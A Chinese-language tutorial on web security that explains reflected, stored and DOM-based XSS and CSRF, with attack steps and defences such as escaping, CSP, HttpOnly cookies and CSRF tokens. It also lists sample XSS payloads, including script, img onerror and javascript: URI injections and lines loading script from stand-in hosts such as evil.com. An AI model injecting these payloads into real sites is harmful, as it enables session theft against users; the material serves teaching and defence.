Skip to content

xss & csrf

区别

xss:主要是代码注入的形式去攻击,内容没有过滤,导致浏览器将攻击者的输入当代码执行。
csrf:主要是伪造身份去攻击,是 http 问题,因为浏览器在发送 http 请求的时候,会携带 cookie,而一般的网站 session 都存在 cookie 里。

XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全

xss 攻击原理

HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签,当这些 HTML 标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生 XSS 漏洞。

XSS攻击分类

  • 反射型XSS攻击
  • 存储型XSS攻击
  • DOM型XSS攻击

反射型XSS攻击

1. 什么是反射型攻击

反射型XSS攻击是将注入的恶意脚本添加到一个网址中,然后给用户发送这个网址。一旦用户打开这个网址,就会执行脚本并导致攻击。攻击负载和脚本跟随用户点击链接,并被嵌入到响应中,在浏览器上执行。

2. 反射型XSS攻击的原理&步骤

  • 攻击者构造一个带有恶意脚本的链接,其链接参数包含用户的输入。
  • 将链接发送给受害者。
  • 受害者点击链接时,恶意脚本会被浏览器解析并执行,从而执行攻击者的意图。

3. 如何防御反射型XSS攻击

  • 入参的强校验&过滤: 服务器端对参数进行强校验,检查是否存在不安全的字符或脚本(carrot, <,>,/等),并过滤掉它们。所有恶意代码将被替换为相应的字符,它们将被禁止对用户浏览器执行。
  • 输出编码/转义:将用户的输入作为消息从服务器返回时,确保将HTML标签和JavaScript等脚本代码中的特殊字符转义或编码。例如,将<>等字符编码为 <和>以避免它们被浏览器解释为HTML标签。
  • 使用HTTPOnly cookie:HTTPOnly cookie在请求不被攻击者利用基于脚本的执行语言时无法访问,也不能通过document.cookie来访问。这一点可以有效的降低反射型XSS的压力。
  • 使用安全控件:对于特殊页面(例如登录页面),使用验证码和其他安全性控件。

存储型XSS攻击

1. 什么是存储型XSS攻击

存储型 XSS 攻击指的是攻击者将恶意脚本提交到受害网站的数据库中,当其他用户浏览包含该恶意脚本链接的页面时,就会执行该脚本,从而导致攻击者的目的得以实现。

由于是将恶意脚本保存在数据库中,所有访问包含恶意代码的页面的用户都受到攻击。而且这种攻击方式难解决。

2. 存储型XSS攻击的原理&步骤

  • 攻击者在受害网站上查找存在漏洞的输入表单,例如评论框或搜索框等。
  • 攻击者将恶意代码或脚本插入到输入表单中,以便在提交表单时存储到数据库中。例如,攻击者可以在评论框中插入一段 JavaScript 代码,用于窃取存储在 Cookie 中的会话标识符。
  • 网站接收到含有恶意代码的表单数据,将其存储到数据库中。此时,攻击者的恶意代码已经写入到数据库中并保存下来。
  • 受害用户访问这个包含恶意代码的页面时,恶意代码从数据库中提取出来并在受害用户的浏览器上执行,触发攻击者设定的操作。
  • 攻击者利用受害用户的会话标记等获取受害者的身份和敏感信息。例如,可以利用恶意脚本窃取用户的个人信息、登录凭据或信用卡信息,并发送给攻击者。

3. 如何防御存储型XSS攻击

  • 输入过滤和验证:对用户的输入进行强校验。过滤不安全的字符,校验数据类型、长度和格式等是否合法,防止不安全的数据被存储。
  • 输出编码/转义:在输出用户数据之前,对数据进行编码转义,可以使用 HTML 或 URL 编码来处理特殊字符、脚本和标记,以防止恶意代码被执行。
  • 防御性编程:使用安全的 API、利用验证机制、进行限制访问控制。
  • CSP:Content Security Policy 可以设置白名单和黑名单,限制页面加载的资源类型和来源,防止恶意脚本和样式被加载。
  • 使用 HTTPS:**使用 HTTPS 可以防止攻击者在传输过程中窃取会话标识符和敏感数据等信息。
  • 限制和控制用户输入:限制用户可以输入的数据内容、长度和格式。例如,可以使用 HTML5 的 input 标签提供的 pattern 属性限制用户输入的数据类型和格式。

DOM型XSS攻击

1. 什么是DOM型XSS攻击

DOM 型 XSS 攻击是一种利用 DOM 基于 HTML 解析过程中的安全漏洞进行的跨站攻击。

DOM 型 XSS 攻击不涉及服务器的参与,完全基于客户端的机制,攻击者通过篡改网页中的 DOM 元素和属性,注入恶意代码进而达到攻击目的。

2. DOM型XSS攻击的原理和步骤

DOM型XSS攻击的过程与反射型XSS攻击极其类似,主要差异在于反射型XSS会把攻击脚本传递给服务器,而DOM型XSS不需要,从而可以达到绕过WAF、躲避服务端的检测效果。

步骤如下:

  • 攻击者诱导用户访问一个恶意网站或者跨站点的合法网站。
  • 网站中的 JavaScript 脚本将用户输入的数据组合成 DOM 片段。
  • 攻击者篡改了 DOM 片段或者修改了 DOM 的属性,注入恶意的脚本,从而执行了非法行为。
  • 当浏览器解析 DOM 片段时,执行了恶意脚本,使恶意代码被执行。
  • 攻击者成功地窃取了用户敏感信息或者完成了其他非法操作。

3. 如何防御DOM型XSS攻击

  • 输入过滤和验证:对用户的输入进行强校验。过滤不安全的字符,校验数据类型、长度和格式等是否合法,防止不安全的数据被存储。
  • 输出编码/转义:在输出用户数据之前,对数据进行编码转义,可以使用 HTML 或 URL 编码来处理特殊字符、脚本和标记,以防止恶意代码被执行。
  • 使用 innerText 或 textContent 而不是 innerHTML:避免将用户输入的数据直接插入到 innerHTML 中。可以使用白名单机制过滤不安全的标记,或使用innerText、textContent 等安全的API。
  • 使用Content Security Policy(CSP):CSP 可以设置白名单和黑名单,限制页面加载的资源类型和来源,从而防止恶意脚本和样式被加载。
  • 使用安全沙箱:应用沙盒技术限制 JavaScript 运行的环境,从而可以防止恶意 JS 脚本操作或者篡改文档 DOM 等。
  • 更新和升级浏览器:定期升级浏览器,减少已知红旗漏洞的影响。

XSS 攻击载荷

1. script 标签

<script> 标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中

js
<script>alert(1)</script> //弹出1
<script src="xxx.com/xss.js"></script> //外部脚本注入

2. <img>标签

html
<img  src=1  onerror=alert("hack")/>
<img  dynsrc="javascript:alert('XSS')"/>

3. <body>标签

html
<body onload=alert("XSS")></body>
<body background="javascript:alert('XSS')">

4.<iframe>标签

html
<iframe src=”http://evil.com/xss.html”>

5.<input>标签

html
<input type="image" src="javascript:alert('XSS');">
html
<link rel="stylesheet" href="javascript:alert('XSS');">

7.<table>标签

html
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">

8.<div>标签

html
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">

如何防御XSS攻击

  • 内容过滤:白名单黑名单过滤
  • 设置http only属性
  • 明确输入内容
  • 输入内容长度控制
  • 客户端分层防御策略

csrf攻击

什么是csrf攻击

CSRF跨站请求伪造,它利用用户已经认证过的会话信息来伪造用户的请求,从而在用户不知情的情况下执行恶意操作。这种攻击可能导致用户在未经授权的情况下执行操作,比如更改账户设置、发布内容等。

csrf攻击步骤

  • 用户已登录认证

用户在一个网站(例如网银、社交媒体等)上已经登录并获得了有效的会话。

  • 攻击者构建恶意页面

攻击者构建一个恶意网页,其中包含触发恶意操作的请求。这个请求可能是一个图片加载、链接点击等。

  • 受害者访问恶意页面

当受害者在已登录的状态下访问了恶意网页,网页中的恶意请求也会被发送。

  • 受害者的会话被利用

因为受害者已经登录并有有效的会话,恶意请求中会携带受害者的认证信息,导致服务器误以为这个请求是合法的。

  • 恶意操作执行

服务器接收到恶意请求后,会执行其中包含的操作,可能包括修改账户信息、发布内容等。

如何预防CSRF攻击

  • 使用 CSRF Token

在每个请求中包含一个随机生成的 CSRF Token,并将该 Token 存储在用户的会话中或者在 Cookie 中。服务器在接收到请求时会验证请求中的 Token 是否与用户会话中的 Token 匹配,从而确保请求的合法性。

将敏感操作所需的会话 Cookie 设置为 SameSite=Strict 或 SameSite=Lax。这可以限制 Cookie 的跨站发送,从而减少 CSRF 攻击的风险。

  • 添加自定义请求头

在请求头中添加自定义的标识,比如自定义的请求头字段,以便服务器验证请求的合法性。

  • 不使用默认身份验证凭证

不要使用浏览器的默认身份验证凭证(如 HTTP 基本认证或 Digest 认证)来进行敏感操作,因为这些凭证在每个请求中都会自动发送,容易被利用。

  • 要求用户再次认证敏感操作

对于敏感操作,比如修改账户信息或进行支付,要求用户再次输入密码或进行其他的认证,即使用户已经登录。

  • 设置请求头

在前端设置自定义请求头来表明这个请求是用户意愿的操作,服务器可以根据这个请求头来判断请求的合法性。

  • 限制跨域请求

使用 CORS(Cross-Origin Resource Sharing)策略来限制跨域请求,确保只有特定的域名可以发送请求。

  • 禁止自动登录

避免在用户退出登录后自动登录,以减少 CSRF 攻击的影响。